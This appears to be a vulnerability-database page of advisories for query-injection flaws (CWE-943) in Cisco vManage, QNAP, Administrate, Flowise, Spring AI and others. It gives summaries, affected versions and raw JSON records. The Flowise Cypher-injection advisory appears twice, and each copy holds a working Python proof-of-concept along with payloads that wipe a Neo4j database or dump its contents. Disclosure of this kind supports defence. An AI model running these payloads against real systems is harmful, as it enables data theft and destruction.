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Common Weakness Enumeration

CWE-943

Allowed-with-Review

Improper Neutralization of Special Elements in Data Query Logic

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

162 vulnerabilities reference this CWE, most recent first.

CVE-2021-1481 (GCVE-0-2021-1481)

Vulnerability from cvelistv5 – Published: 2024-11-15 16:37 – Updated: 2024-11-15 17:49
VLAI
Title
Cisco SD-WAN vManage Cypher Query Language Injection Vulnerability
Summary
A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system. This vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/RL:X/RC:X/E:X
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-15 17:49 UTC
CWE
  • CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
Assigner
References
Impacted products
Vendor Product Version
Cisco Cisco Catalyst SD-WAN Manager Affected: 20.1.12
Affected: 19.2.1
Affected: 18.4.4
Affected: 18.4.5
Affected: 20.1.1.1
Affected: 20.1.1
Affected: 19.3.0
Affected: 19.2.2
Affected: 19.2.099
Affected: 18.3.6
Affected: 18.3.7
Affected: 19.2.0
Affected: 18.3.8
Affected: 19.0.0
Affected: 19.1.0
Affected: 18.4.302
Affected: 18.4.303
Affected: 19.2.097
Affected: 19.2.098
Affected: 17.2.10
Affected: 18.3.6.1
Affected: 19.0.1a
Affected: 18.2.0
Affected: 18.4.3
Affected: 18.4.1
Affected: 17.2.8
Affected: 18.3.3.1
Affected: 18.4.0
Affected: 18.3.1
Affected: 17.2.6
Affected: 17.2.9
Affected: 18.3.4
Affected: 17.2.5
Affected: 18.3.1.1
Affected: 18.3.5
Affected: 18.4.0.1
Affected: 18.3.3
Affected: 17.2.7
Affected: 17.2.4
Affected: 18.3.0
Affected: 19.2.3
Affected: 18.4.501_ES
Affected: 20.3.1
Affected: 20.1.2
Affected: 19.2.929
Affected: 19.2.31
Affected: 20.3.2
Affected: 19.2.32
Affected: 20.3.2_925
Affected: 20.3.2.1
Affected: 20.3.2.1_927
Affected: 18.4.6
Affected: 20.1.2_937
Affected: 20.4.1
Affected: 20.3.2_928
Affected: 20.3.2_929
Affected: 20.4.1.0.1
Affected: 20.3.2.1_930
Affected: 19.2.4
Affected: 20.4.1.1
Affected: 20.3.3
Affected: 19.2.4.0.1
Affected: 20.3.2_937
Affected: 20.3.3.1
Create a notification for this product.
Show details on NVD website
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CVE-2021-1349 (GCVE-0-2021-1349)

Vulnerability from cvelistv5 – Published: 2021-01-20 20:00 – Updated: 2024-11-12 20:21
VLAI
Title
Cisco SD-WAN vManage Cypher Query Language Injection Vulnerability
Summary
A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system. The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-08 20:50 UTC
CWE
Assigner
References
URL Tags
https://tools.cisco.com/security/center/content/C… vendor-advisoryx_refsource_CISCO
Impacted products
Date Public
2021-01-20 00:00
Show details on NVD website
To clipboard 

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CVE-2020-36195 (GCVE-0-2020-36195)

Vulnerability from cvelistv5 – Published: 2021-04-17 03:50 – Updated: 2024-09-16 17:28
VLAI
Title
SQL Injection Vulnerability in Multimedia Console and the Media Streaming Add-On
Summary
An SQL injection vulnerability has been reported to affect QNAP NAS running Multimedia Console or the Media Streaming add-on. If exploited, the vulnerability allows remote attackers to obtain application information. QNAP has already fixed this vulnerability in the following versions of Multimedia Console and the Media Streaming add-on. QTS 4.3.3: Media Streaming add-on 430.1.8.10 and later QTS 4.3.6: Media Streaming add-on 430.1.8.8 and later QTS 4.4.x and later: Multimedia Console 1.3.4 and later We have also fixed this vulnerability in the following versions of QTS 4.3.3 and QTS 4.3.6, respectively: QTS 4.3.3.1624 Build 20210416 or later QTS 4.3.6.1620 Build 20210322 or later
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
  • CWE-20 - Improper Input Validation
  • CWE-89 - SQL Injection
  • CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
Assigner
References
Impacted products
Vendor Product Version
QNAP Systems Inc. QTS Affected: unspecified , < 4.3.3.1624 Build 20210416 (custom)
Affected: unspecified , < 4.3.6.1620 Build 20210322 (custom)
Create a notification for this product.
QNAP Systems Inc. Media Streaming add-on Affected: unspecified , < 430.1.8.10 (custom)
Affected: unspecified , < 430.1.8.8 (custom)
Create a notification for this product.
QNAP Systems Inc. Multimedia Console Affected: unspecified , < 1.3.4 (custom)
Create a notification for this product.
Date Public
2021-04-16 00:00
Credits
Yaniv Puyeski
Show details on NVD website
To clipboard 

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CVE-2020-5257 (GCVE-0-2020-5257)

Vulnerability from cvelistv5 – Published: 2020-03-13 21:05 – Updated: 2024-08-04 08:22
VLAI
Title
Sort order SQL injection in Administrate
Summary
In Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard, the direction parameter was not validated before being interpolated into the SQL query. This could present a SQL injection if the attacker were able to modify the `direction` parameter and bypass ActiveRecord SQL protections. Whilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication. This is patched in wersion 0.13.0.
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
CWE
  • CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
Assigner
References
Impacted products
Vendor Product Version
thoughtbot administrate Affected: < 0.13.0
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2018-19952 (GCVE-0-2018-19952)

Vulnerability from cvelistv5 – Published: 2020-11-02 15:57 – Updated: 2024-09-17 02:58
VLAI
Summary
If exploited, this SQL injection vulnerability could allow remote attackers to obtain application information. This issue affects: QNAP Systems Inc. Music Station versions prior to 5.1.13; versions prior to 5.2.9; versions prior to 5.3.11.
Severity
No CVSS data available.
CWE
  • CWE-20 - Improper Input Validation
  • CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
  • CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
Assigner
References
Impacted products
Vendor Product Version
QNAP Systems Inc. Music Station Affected: unspecified , < 5.1.13 (custom)
Affected: unspecified , < 5.2.9 (custom)
Affected: unspecified , < 5.3.11 (custom)
Create a notification for this product.
Date Public
2020-10-30 00:00
Credits
Independent Security Evaluators
Show details on NVD website
To clipboard 

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                            "version_value": "5.1.13"
                          },
                          {
                            "version_affected": "\u003c",
                            "version_value": "5.2.9"
                          },
                          {
                            "version_affected": "\u003c",
                            "version_value": "5.3.11"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "QNAP Systems Inc."
              }
            ]
          }
        },
        "credit": [
          {
            "lang": "eng",
            "value": "Independent Security Evaluators"
          }
        ],
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "If exploited, this SQL injection vulnerability could allow remote attackers to obtain application information. This issue affects: QNAP Systems Inc. Music Station versions prior to 5.1.13; versions prior to 5.2.9; versions prior to 5.3.11."
            }
          ]
        },
        "generator": {
          "engine": "Vulnogram 0.0.9"
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-20 Improper Input Validation"
                }
              ]
            },
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)"
                }
              ]
            },
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-943 Improper Neutralization of Special Elements in Data Query Logic"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://www.qnap.com/en/security-advisory/qsa-20-10",
              "refsource": "MISC",
              "url": "https://www.qnap.com/en/security-advisory/qsa-20-10"
            }
          ]
        },
        "solution": [
          {
            "lang": "en",
            "value": "QNAP have already fixed the issue in the following Music Station:\nQTS 4.3.3: Music Station 5.1.13 and later\nQTS 4.3.4: Music Station 5.1.13 and later\nQTS 4.3.6: Music Station 5.2.9 and later\nQTS 4.4.3: Music Station 5.3.11 and later"
          }
        ],
        "source": {
          "advisory": "QSA-20-10",
          "discovery": "EXTERNAL"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "2fd009eb-170a-4625-932b-17a53af1051f",
    "assignerShortName": "qnap",
    "cveId": "CVE-2018-19952",
    "datePublished": "2020-11-02T15:57:02.626Z",
    "dateReserved": "2018-12-07T00:00:00.000Z",
    "dateUpdated": "2024-09-17T02:58:07.767Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-28G4-38Q8-3CWC

Vulnerability from github – Published: 2026-04-16 21:54 – Updated: 2026-04-24 19:40
VLAI
Summary
Flowise: Cypher Injection in GraphCypherQAChain
Details

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

Field Value
Affected File packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts
Affected Lines 193-219 (run method)

Prerequisites

To exploit this vulnerability, the following conditions must be met:

  1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
  2. Vulnerable Chatflow Configuration:
  3. A chatflow containing the Graph Cypher QA Chain node
  4. Connected to a Chat Model (e.g., ChatOpenAI)
  5. Connected to a Neo4j Graph node with valid credentials
  6. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

vulnerability-diagram-prerequisites

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...

    const obj = {
        query: input  // User input passed directly
    }

    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

  1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
  2. Data Modification: Create, update, or delete nodes and relationships
  3. Data Destruction: Execute DETACH DELETE to wipe entire database
  4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:54:26Z",
    "nvd_published_at": "2026-04-23T22:16:38Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` |\n| Affected Lines | 193-219 (run method) |\n\n## Prerequisites\n\nTo exploit this vulnerability, the following conditions must be met:\n\n1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server\n2. **Vulnerable Chatflow Configuration**:\n   - A chatflow containing the **Graph Cypher QA Chain** node\n   - Connected to a **Chat Model** (e.g., ChatOpenAI)\n   - Connected to a **Neo4j Graph** node with valid credentials\n3. **API Access**: Access to the chatflow\u0027s prediction endpoint (`/api/v1/prediction/{flowId}`)\n\n\u003cimg width=\"1627\" height=\"1202\" alt=\"vulnerability-diagram-prerequisites\" src=\"https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0\" /\u003e\n\n## Root Cause\n\nIn `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:\n\n```typescript\nasync run(nodeData: INodeData, input: string, options: ICommonObject): Promise\u003cstring | object\u003e {\n    const chain = nodeData.instance as GraphCypherQAChain\n    // ...\n    \n    const obj = {\n        query: input  // User input passed directly\n    }\n    \n    // ...\n    response = await chain.invoke(obj, { callbacks })  // Executed without escaping\n}\n```\n\n## Impact\n\nAn attacker with access to a vulnerable chatflow can:\n\n1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields\n2. **Data Modification**: Create, update, or delete nodes and relationships\n3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database\n4. **Schema Discovery**: Enumerate database structure, labels, and properties\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Cypher injection in GraphCypherQAChain (CWE-943)\n\nUsage:\n  python poc.py --target http://localhost:3000 --flow-id \u003cFLOW_ID\u003e --token \u003cAPI_KEY\u003e\n\"\"\"\n\nimport argparse\nimport json\nimport urllib.request\nimport urllib.error\n\ndef post_json(url, data, headers):\n    req = urllib.request.Request(\n        url,\n        data=json.dumps(data).encode(\"utf-8\"),\n        headers={**headers, \"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    with urllib.request.urlopen(req, timeout=15) as resp:\n        return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:3000\")\n    ap.add_argument(\"--flow-id\", required=True, help=\"Chatflow ID with GraphCypherQAChain\")\n    ap.add_argument(\"--token\", help=\"Bearer token / API key if required\")\n    ap.add_argument(\n        \"--injection\",\n        default=\"MATCH (n) RETURN n\",\n        help=\"Cypher payload to inject\",\n    )\n    args = ap.parse_args()\n\n    payload = {\n        \"question\": args.injection,\n        \"overrideConfig\": {},\n    }\n\n    headers = {}\n    if args.token:\n        headers[\"Authorization\"] = f\"Bearer {args.token}\"\n\n    url = args.target.rstrip(\"/\") + f\"/api/v1/prediction/{args.flow_id}\"\n\n    try:\n        status, body = post_json(url, payload, headers)\n        print(body if body else f\"(empty response, HTTP {status})\")\n    except urllib.error.HTTPError as e:\n        print(e.read().decode(\"utf-8\", errors=\"replace\"))\n    except Exception as e:\n        print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Test Environment Setup\n\n**1. Start Neo4j with Docker:**\n```bash\ndocker run -d \\\n  --name neo4j-test \\\n  -p 7474:7474 \\\n  -p 7687:7687 \\\n  -e NEO4J_AUTH=neo4j/testpassword123 \\\n  neo4j:latest\n```\n\n**2. Create test data (in Neo4j Browser at http://localhost:7474):**\n```cypher\nCREATE (a:Person {name: \u0027Alice\u0027, secret: \u0027SSN-123-45-6789\u0027})\nCREATE (b:Person {name: \u0027Bob\u0027, secret: \u0027SSN-987-65-4321\u0027})\nCREATE (a)-[:KNOWS]-\u003e(b)\n```\n\n**3. Configure Flowise chatflow** (see screenshot)\n\n### Exploitation Steps\n\n```bash\n# Data destruction (DANGEROUS)\npython poc.py --target http://127.0.0.1:3000 \\\n  --flow-id \u003cFLOW_ID\u003e --token \u003cAPI_KEY\u003e \\\n  --injection \"MATCH (n) DETACH DELETE n\"\n```\n\n### Evidence\n\n**Cypher injection reaching Neo4j directly:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...\n{\"text\":\"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\\n\\\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\\\"\\n                ^\",...}\n```\nThe error message comes from Neo4j, proving the injected Cypher is executed directly.\n\n**Data destruction confirmed:**\n```\n$ python poc.py ... --injection \"MATCH (n) DETACH DELETE n\"\n{\"json\":[],...}\n```\nEmpty result indicates all nodes were deleted.\n\n**Sensitive data exfiltration:**\n```\n$ python poc.py ... --injection \"MATCH (n) RETURN n\"\n{\"json\":[{\"n\":{\"name\":\"Alice\",\"secret\":\"SSN-123-45-6789\"}},{\"n\":{\"name\":\"Bob\",\"secret\":\"SSN-987-65-4321\"}}],...}\n```",
  "id": "GHSA-28g4-38q8-3cwc",
  "modified": "2026-04-24T19:40:33Z",
  "published": "2026-04-16T21:54:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-28g4-38q8-3cwc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41274"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Cypher Injection in GraphCypherQAChain"
}

GHSA-2P5P-M353-833W

Vulnerability from github – Published: 2020-03-13 21:05 – Updated: 2021-01-08 20:25
VLAI
Summary
Sort order SQL injection in Administrate
Details

In Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard, the direction parameter was not validated before being interpolated into the SQL query. This could present a SQL injection if the attacker were able to modify the direction parameter and bypass ActiveRecord SQL protections.

Whilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication.

This is patched in wersion 0.13.0.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "administrate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-03-13T21:05:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "In Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard,\nthe direction parameter was not validated before being interpolated into the SQL query.\nThis could present a SQL injection if the attacker were able to modify the `direction` parameter and bypass ActiveRecord SQL protections.\n\nWhilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication.\n\nThis is patched in wersion 0.13.0.",
  "id": "GHSA-2p5p-m353-833w",
  "modified": "2021-01-08T20:25:54Z",
  "published": "2020-03-13T21:05:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thoughtbot/administrate/security/advisories/GHSA-2p5p-m353-833w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2p5p-m353-833w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/administrate/CVE-2020-5257.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sort order SQL injection in Administrate"
}

GHSA-37CJ-HCX2-8PV7

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:43
VLAI
Details

An Improper Neutralization of Special Elements in Query vulnerability exists in the 1st Gen. Pelco Sarix Enhanced Camera and Spectra Enhanced PTZ Camera which allows an attacker to execute arbitrary system commands.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-7829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-22T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "An Improper Neutralization of Special Elements in Query vulnerability exists in the 1st Gen. Pelco Sarix Enhanced Camera and Spectra Enhanced PTZ Camera which allows an attacker to execute arbitrary system commands.",
  "id": "GHSA-37cj-hcx2-8pv7",
  "modified": "2024-04-04T00:43:28Z",
  "published": "2022-05-24T16:46:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7829"
    },
    {
      "type": "WEB",
      "url": "https://www.schneider-electric.com/en/download/document/SEVD-2019-045-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3JFM-HM2C-WRQH

Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-28 00:31
VLAI
Details

A MongoDB C# driver document-replacement code path omits the element-name/shape validation that the equivalent write paths apply, so a value supplied as a replacement is forwarded to the server without neutralization of query-language special elements. An application that passes untrusted, loosely-typed input as a replacement value therefore allows that input to be interpreted by the database as update logic rather than as data, executing under the application's own database credentials. Applications using strongly-typed document mappings are not affected.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T20:18:51Z",
    "severity": "MODERATE"
  },
  "details": "A MongoDB C# driver document-replacement code path omits the element-name/shape validation that the equivalent write paths apply, so a value supplied as a replacement is forwarded to the server without neutralization of query-language special elements. An application that passes untrusted, loosely-typed input as a replacement value therefore allows that input to be interpreted by the database as update logic rather than as data, executing under the application\u0027s own database credentials. Applications using strongly-typed document mappings are not affected.",
  "id": "GHSA-3jfm-hm2c-wrqh",
  "modified": "2026-08-28T00:31:59Z",
  "published": "2026-08-27T21:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81528"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/CSHARP-6158"
    },
    {
      "type": "WEB",
      "url": "https://www.nuget.org/packages/MongoDB.Driver/3.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-44F4-GVWJ-6QG3

Vulnerability from github – Published: 2026-03-27 06:31 – Updated: 2026-03-29 15:36
VLAI
Summary
Spring AI Redis Store has TAG Field Query Injection Through Improper Neutralization of Special Characters
Details

In RedisFilterExpressionConverter of spring-ai-redis-store, when a user-controlled string is passed as a filter value for a TAG field, stringValue() inserts the value directly into the @field:{VALUE} RediSearch TAG block without escaping characters. This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ai:spring-ai-redis-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M5"
            },
            {
              "fixed": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ai:spring-ai-redis-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0-M1"
            },
            {
              "fixed": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22744"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:36:29Z",
    "nvd_published_at": "2026-03-27T06:16:38Z",
    "severity": "HIGH"
  },
  "details": "In\u00a0RedisFilterExpressionConverter\u00a0of\u00a0spring-ai-redis-store, when a user-controlled string is passed as a filter value for a TAG field,\u00a0stringValue()\u00a0inserts the value directly into the\u00a0@field:{VALUE}\u00a0RediSearch TAG block without escaping characters. This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4.",
  "id": "GHSA-44f4-gvwj-6qg3",
  "modified": "2026-03-29T15:36:29Z",
  "published": "2026-03-27T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22744"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-ai/commit/707e990c9152aabb9c9226053725efa2ada72223"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-ai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-ai/releases/tag/v1.0.5"
    },
    {
      "type": "WEB",
